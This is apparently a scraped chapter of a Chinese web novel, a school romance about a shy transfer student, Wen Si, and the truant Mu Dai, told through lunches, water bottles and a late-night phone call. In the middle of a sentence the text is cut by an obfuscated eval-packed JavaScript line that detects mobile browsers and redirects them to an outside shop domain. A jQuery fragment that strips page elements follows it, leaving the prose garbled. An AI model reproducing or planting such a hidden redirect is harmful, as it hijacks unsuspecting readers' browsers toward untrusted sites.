温寺端回来的套餐荤素搭配营养均衡，但看起来确实是慕岱身前的几个餐盒更诱人一些。
筷子在慕岱指尖随意转了几个圈，他深深看了温寺一眼，这才低头吃饭。刚咬一口鸡翅他就被辣得直咳嗽，瞥见温寺无辜的目光，慕岱眉心微蹙，忍住了摔筷子的欲望，拧开水瓶灌了好几大口，才说道，“我吃不了那么辣的。”
温寺把别的盒子往前推了些：“有不辣的菜。”
慕岱连连咳嗽，应了一声。他夹走看上去很清淡的肉丸，沉默地嚼着，随后他看向温寺，边盯着对方边仰头灌一口水，勉强咽下了。
“有点咸。”慕岱说。
温寺捏着筷子，视线小小环绕一圈，看上了炸鸡，她伸手去指，“试试这个。”
慕岱先吃了几口软乎乎的米饭，然后才将筷子戳过去。一连在炸鸡上戳了好几个洞，慕岱才夹来慢慢咬了一口，等咽下去，他神情复杂地看向温寺，“你是不是知道我喜欢吃什么？”
温寺高兴地问：“这些你都喜欢吃吗？”
慕岱面无表情：“都不喜欢。”
他都怀疑温寺是借机报复，但见对方神情错愕，不像给他使恶作剧的样子，慕岱才打消了这个念头。况且这其中部分菜若是换个做法口味慕岱也是能吃的，但现在就是不合他胃口。也不知道是谁做的。
慕岱顿了顿，不会是温寺吧？他默默坐直身体，去看温寺。
这些菜慕岱都没吃几口，他咽的最多的便是米饭和水。温寺很是沮丧，吃饭的动作也慢下来，她将头埋得很低，在慕岱的角度就只能看见一个垂下去的颅顶，像受了什么格外沉重的打击般。
莫名其妙的，慕岱心里凭空生出一种罪恶感。
他张张嘴，想说点什么，可看着这一桌菜又无从下口，只能先跟着保持沉默。
温寺将自己的饭吃完，见慕岱没怎么动，有些难过，“以后我还能给你带饭吗？”
“不能，”慕岱哑着声音飞速回答，说完看向温寺眼眶，沉默会，“清淡点的话，可以。”
还有希望，温寺认真问道，“要多清淡？”
慕岱的视线在桌面停留片刻，最终落在温寺面前的餐盘上，“你中午吃的这顿就行。”
要这么健康啊。温寺很失落，但很快又振作起来，饮食结构可以一点点改变的，不能急。
“这些菜……”慕岱还是没忍住问道，“是你做的？”
“不是。”
慕岱心想也是，他让另一桌的几个朋友来收拾，朝温寺说道，“走吧，他们洗干净了会给你。”
桌上有个空的矿泉水瓶，是慕岱刚喝完的，温寺看他两手空空，满怀期待问道，“今天你还会喝水吗？”
慕岱：“？当然。”
温寺顿时苦着个脸。直到和温寺分开，慕岱也没看懂那表情到底是什么意思。
下午课间活动时，温寺给慕岱发消息，问他还在不在学校，慕岱的回答和早上一模一样，像是直接复制粘贴的。
温寺看了眼时间，往操场跑过去。慕岱在空地晒树荫，周围坐着一圈人和他讲着话，温寺在原地踌躇会，没有上前。
正当她打算鼓起勇气放手一搏时，却发现慕岱身边的人都不在了，只有他握着瓶水，朝她露出了个很随性的笑。
温寺僵硬着看向周围，发现那些人又去别的地方玩了。
“过来吧，”慕岱哼笑声，透过枝叶缝隙的光斑在他眼下轻晃，“这次又翘了什么课？”
温寺：“……是课间。”
慕岱故作讶异：“课间就能随便翘了？”
温寺不说话。
他的手腕随意支着脑袋，“不好好休息怎么来找我了，痔疮已经有结果了，这次又想问什么？”
温寺：“可不可以把你的水给我？”
“这个？”慕岱上下抛了抛手中的水瓶。
温寺连连点头。
“我喝过的。”慕岱动作一顿。
温寺只是想拿走他的水，喝没喝过并不重要，她蹲在地上，稍稍仰头看慕岱，小声道，“我想要。”
很有礼貌的强盗行为。被温寺直勾勾的目光注视着，慕岱在心里叹了重重的一口气，“……拿去吧。”
温寺接过水就要走，慕岱被她流畅的动作看得一愣一愣，“你去哪？”
温寺严肃道：“回去上课。”
慕岱：“……”
他见温寺小跑向教学楼，有些无语。来这么一趟，就为了要他一瓶水？
温寺走后，慕岱身边又围起了人，没人提起方才的事，而是继续讲着趣闻轶事，间或给慕岱递几个水果。
那些趣事慕岱大部分都不感兴趣，但他喜欢这种热闹的氛围，朋友们也挺有眼力见，时不时地还会夸上他几句。
慕岱仰头看手机，4群里新发了个推送，点进去是什么主题餐厅，据说他们的主旨是员工不加班，因此只在周内中午提供餐饮。餐厅食物别具特色，有人艾特慕岱，问要不要一起去吃。
——不去，要上学
群内顿时清一水的问号。
慕岱发完也顿住了，那几个字完全是下意识发出去的。他皱眉片刻，还是没点撤回，将手机收起来。
下一个课间，慕岱又看见了温寺，他微微眯起眼。身边的朋友熟练被赶走，他看温寺如之前那样蹲过来，嗤了下，“这次想要什么？”
温寺的目光落在慕岱手里的水瓶上。不过一节课的功夫，他不仅拿了瓶新的水，还又喝了大半瓶。
“你要这个？”慕岱注意到温寺的视线，忍不住逗她，“刚刚那瓶喝完了？”
温寺没摇头也没点头：“你还有水吗？”
不知怎么，慕岱从这句话中听出了关怀之意。他看了会温寺的眼睛，突然露出一个笑，“有啊，还有很多。”
温寺沉默了，无论拿慕岱多少水，他还是会有水喝。这个方法不现实。
又快上课了。
温寺将方才从慕岱这拿的矿泉水掏出来，原封不动地放到他面前，她声音异常难过，“这个还给你。”说完便跑没影了。
慕岱露出的笑容甚至还没收回去，他慢慢地、慢慢地低下头，嘴角的弧度随之一起压平。那瓶水的液面依旧维持在上一次他喝过的位置。
“慕哥，”过来的朋友忍不住问道，“你怎么拿着两瓶水啊？”还都是半瓶。
慕岱心想，还能是为什么。当然是有人在耍他玩啊。
他仰头将两瓶水一饮而尽，往校外走去。今天在这浪费的时间够多了。
*
温寺买了大包的盐和花椒粉，她和李洁说以后想吃得清淡点，对方没问为什么要改，只笑眯眯地应下了。
久坐容易痔疮。慕岱现在在做什么？今天有久坐吗？温寺想到先前看见他在操场和人打球的场景，不由抿紧唇。慕岱有手有脚，看上去总是闲不住。
温寺又是鼓励又是打气，这才拨下了慕岱的电话。直到自动挂断，对方都没有接。温寺立刻退缩，她想把手机放到一边，可刚息屏又后悔了。
要勇敢点，她告诉自己。
温寺鼓起勇气，又一次点了拨号。这次慕岱接了，那边很吵，有音乐声、鼓声，还有人欢呼尖叫。隐隐约约中，她听见慕岱说了等等。随后那些喧嚣逐渐远去，最后只剩下了慕岱的脚步声、周围的风声，还有他的呼吸。
“怎么？”慕岱找到了个安静的地方，靠着窗往外看。他的声音有些冷淡。
“你在做什么啊……”温寺小声问他。
“聚会，”慕岱的视线穿过各色霓虹灯，落在连车辆都看不清的地面，“要来玩吗？”
他知道温寺一到人多的地方就很紧张，这话只是说来逗逗她。在玻璃反出的画面中，慕岱看见自己好像笑了下。
“我不去……”温寺一想到聚会，声音都有些抖，“你坐着吗？”
慕岱：“？”
虽然疑惑，他
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17768436|209828||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
还是说了站。
“能不能坐着啊……”温寺说，“你可不可以坐着和我打电话？”
周围没看见凳子，慕岱找了个花瓶放倒坐上去，朝电话里说的却是，“我可没有时间。”
这处有些闷，慕岱起身将包厢大门打开，热烘烘的吵闹瞬间遥遥将他包裹，虽没有刚才那么近，却也让他好受不少。他扯了扯衣领，坐回花瓶上，这玩意就不是给人坐的，他怎么弄怎么别扭。
“好吧。”温寺失望地挂了电话。
慕岱反应不及，听到了嘟嘟嘟的忙音。他气笑了，反手拨回去，刚接通就想劈头盖脸地说一顿，却还是只咬紧牙，问她，“你挂那么快干嘛？”
温寺诚实道：“你说你没有时间。”
慕岱鼻息间落下一道重重的冷哼，非常不满，“以前也没见你这么听我话。”
又不说话了。
慕岱怒问，“你做什么了要我陪着？”
“做作业。”
慕岱怀疑自己听错了，他碰了碰自己的耳朵：“你觉得我会这些东西？”
这个时候温寺已经做完第一道题：“我知道你不会，你都不来上课的。”
慕岱啧了声，“那你找我做什么？”
温寺：“打电话。”
“……？”慕岱声音凉凉的，“怎么，想边和我打电话边做作业啊。照你这样说我只是顺带的？”
温寺反驳：“……都很重要的。”
“对你来说重要的东西可真多，”慕岱冷笑，“你要么专心和我聊天，要么把你的破作业放下。”
温寺快速浏览了遍后面的题，迅速将笔放在边上：“那我不写了。”
慕岱对她识时务的举动勉强满意，大发慈悲道，“想和我聊什么？”
温寺闷不吭声，慕岱跟她的哑巴呼吸短暂地交流了会，怒道，“你什么都没想好就给我打电话？”
“嗯……”温寺生硬开口，“你还坐着吗？”
慕岱冷笑，“倒立着陪你浪费时间，满意了？”
温寺不说话了。
慕岱用力踩了下地面，让墙角的感应灯亮起来，他的视野里顿时哪儿都是亮堂堂的。慕岱慢悠悠喝了口水，“上次考试，你排名多少？”
温寺：“32”
“年级？”慕岱不觉得意外，温寺看上去确实是好学生的样子。
温寺小声说：“班级。”
“很不错嘛，”慕岱下意识说完，逐渐回过味来，“班里多少人？”
“33”
慕岱：“……”
他心情复杂，半晌道，“超过了最后一名，也不错了。”
温寺默默道，“最后一名是你。”虽然慕岱不来考试，但也参与成绩排名，每次成绩栏最后一行的几个零分就是他。
慕岱：“……”
慕岱想到温寺前不久才转学来，有点理解了，“极莱的教学你很不适应？”
温寺不说话了，电话另一端格外沉默。
联想到她努力听课的样子，慕岱竟觉得有些可怜，“……算了，你继续写作业吧。”
温寺眼巴巴问道：“那电话……”
成绩那么差还不好好写作业？慕岱怒道：“挂了。”
“哦……”
温寺很难过，没有主动去摁挂断键，可写完收拾桌上的书本时才发现，通话界面竟然还亮着。
她试探着喊了一声，“慕岱？”
“嗯，”手机传出的声音有些哑，“写完了？”
温寺怔怔道，“写完了。”
“挂了。”这次慕岱挂得很快，忙音传来前，温寺听到了很急促的脚步声。独属于人多的喧嚣吵闹在踉踉跄跄中逐渐变大，最后在开门声中戛然而止。
温寺想，她好像不用问慕岱，刚刚有没有一直坐着了。
这次的陪伴给了温寺很多鼓励。至少在第二天早上六点——慕岱雷打不动的拉屎时间，她鼓起勇气打了电话。